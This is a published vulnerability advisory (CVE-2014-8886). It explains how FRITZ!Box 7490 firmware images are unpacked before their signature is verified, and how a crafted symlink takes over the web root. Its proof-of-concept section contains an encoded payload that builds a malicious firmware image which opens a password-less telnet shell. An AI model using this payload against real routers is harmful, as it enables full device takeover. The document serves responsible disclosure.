RedTeam Pentesting GmbH

AVM FRITZ!Box: Arbitrary Code Execution Through Manipulated Firmware Images

The firmware upgrade process of the FRITZ!Box 7490 is flawed. Specially crafted firmware images can overwrite critical files. Arbitrary code can get executed if an attempt is made to install such a manipulated firmware.

Details

Product: AVM FRITZ!Box 7490, possibly others
Affected Versions: versions prior to 6.30 (https://avm.de/service/aktuelle-sicherheitshinweise/)
Fixed Versions: >= 6.30 (https://avm.de/service/aktuelle-sicherheitshinweise/)
Vulnerability Type: Authenticated Code Execution
Security Risk: medium
Vendor URL: http://avm.de/
Vendor Status: fixed version released
Advisory URL: https://www.redteam-pentesting.de/advisories/rt-sa-2014-014
Advisory Status: published
CVE: CVE-2014-8886
CVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-8886

Introduction

FRITZ!Box is the brand name of SOHO routers/CPE manufactured by AVM GmbH. The FRITZ!Box usually combines features such as an xDSL modem, a wifi access point, routing, VoIP, NAS and DECT.

More Details

AVM regularly publishes firmware updates to address bugs and to introduce new features. The firmware image can either be uploaded manually or the FRITZ!Box downloads it semi-automatically from http://download.avm.de/ via unencrypted HTTP if a new version is available.

Technically, AVM firmware images are tar files:

$ tar --list --file FRITZ.Box_7490.113.06.20.image
./var/
./var/install
./var/chksum
./var/info.txt
./var/tmp/
./var/tmp/filesystem.image
./var/tmp/kernel.image
./var/regelex
./var/signature

When transferred to the FRITZ!Box, updates are extracted to the root directory before their cryptographic signature is verified. Thus, critical files can be overwritten by specially crafted firmware images. Attackers can use this weakness to execute arbitrary code.

For example, the root directory of the web interface is located at /var/html (ramdisk), which is a symlink that points to /usr/www/avm (read-only squashfs). If the victim uploads a tar file that contains a symlink called ./var/html, the web server’s root directory is relocated to whatever the malicious symlink points to, e.g. ./var/redteam. There, attackers can place arbitrary content, such as CGIs. Once invoked by a browser, arbitrary code can be executed.

As the signature check will inevitably fail, the victim will be asked whether the unsigned firmware image should be processed or not. That confirmation page is formatted by CSS. As a result, the victim’s browser will try to reload the main.css, which is now under the control of the attacker. The attacker can manipulate the main.css to trick the victim’s browser into loading an attacker-controlled CGI. In total, the upload of a manipulated firmware image can immediately lead to code execution without the need of further action by the victim.

Proof of Concept

The following command generates a firmware image that leads to code execution when uploaded to a FRITZ!Box 7490. As soon as the FRITZ!Box reports the signature mismatch, a password-less telnetd listening on port 9999 will be started.

$ base64 -d <<EOF | gunzip > poc.image
H4sICGITeVYAA3BvYy5pbWFnZQDt1dtunDAQBmCueYoJUaX2AgwsLMruKjd9jd4YPBwUYyPb
JI2qvnsNOQhVWuWiOajKfGLFwUb+2dFAwm65Yb0bZfBmUq+qqmWfVWW63T95Pi7yXZBmxS7f
B5Cv2QwKh3x8q3CzddwABD1XPQ7n5700/p9Ktv8xa7ohrgfFJt284hoP9S/P1r9I90GWF1lV
+F+5X+pf7fIA0lfMcNYnr//lBVsKbvuQzdYwu5w4lAqdgFjC4yDEE1x54c0gJZcS2sGMd9xg
03YhNr2GGCH6rpVD5WJ3P+EBHP50bJJ8UD9U9DhJQXRa3jXXp1qL++vN5Ylbe6eNiCVaC08J
em6hRlSwFMmhAO5g0satYRJYkgzKj6kGLeh2G8vfe4sPNy+hUSTbEGxd/7S++HyMj67Cx/mr
/61lAls+S8dGX7nEX/j3Ndb+L8/3f7Yrnvs/9Y2fZvuyqKj/38PSAPArrHlz0xk9KxE3Wmpz
gMu2bbEWx9A/dde7A6Rfjttpw8g73+WzkV+jJGF+23w8om/H8Pcn7ipCCCGEEEIIIYQQQggh
hBBCCCHkff0BF28hMgAoAAA=
EOF

Workaround

Check each firmware image manually for suspicious file names, before uploading to the FRITZ!Box. A more precise workaround does not exist at the moment.

Fix

Customers should upgrade to a fixed firmware version as soon as possible. Before upgrading, they should check the new firmware image for suspicious file names (see “Workaround”).

Security Risk

This vulnerability allows an attacker to inject arbitrary code into AVM firmware images. If the attacker is able to perform a man-in-the-middle attack between the AVM FRITZ!Box and http://download.avm.de/, firmware images can be manipulated in transit. Otherwise, attackers need to trick their victims into installing a malicious firmware image. While successful attacks result in the full compromise of a device, they would typically require an attacker in a very strong position. The vulnerability is therefore considered to pose a medium risk.

Timeline

2014-10-14 Vulnerability identified
2014-10-16 Vendor notified
2014-11-11 CVE requested
2014-11-11 Vendor announced patch
2014-11-14 CVE number assigned
2014-11-17 Vendor provided fixed version to RedTeam Pentesting
2015-07-16 Vendor started releasing fixed versions (7490 (https://avm.de/service/aktuelle-sicherheitshinweise/))
2015-10-01 Vendor finished releasing fixed versions (other models)
2016-01-07 Advisory released

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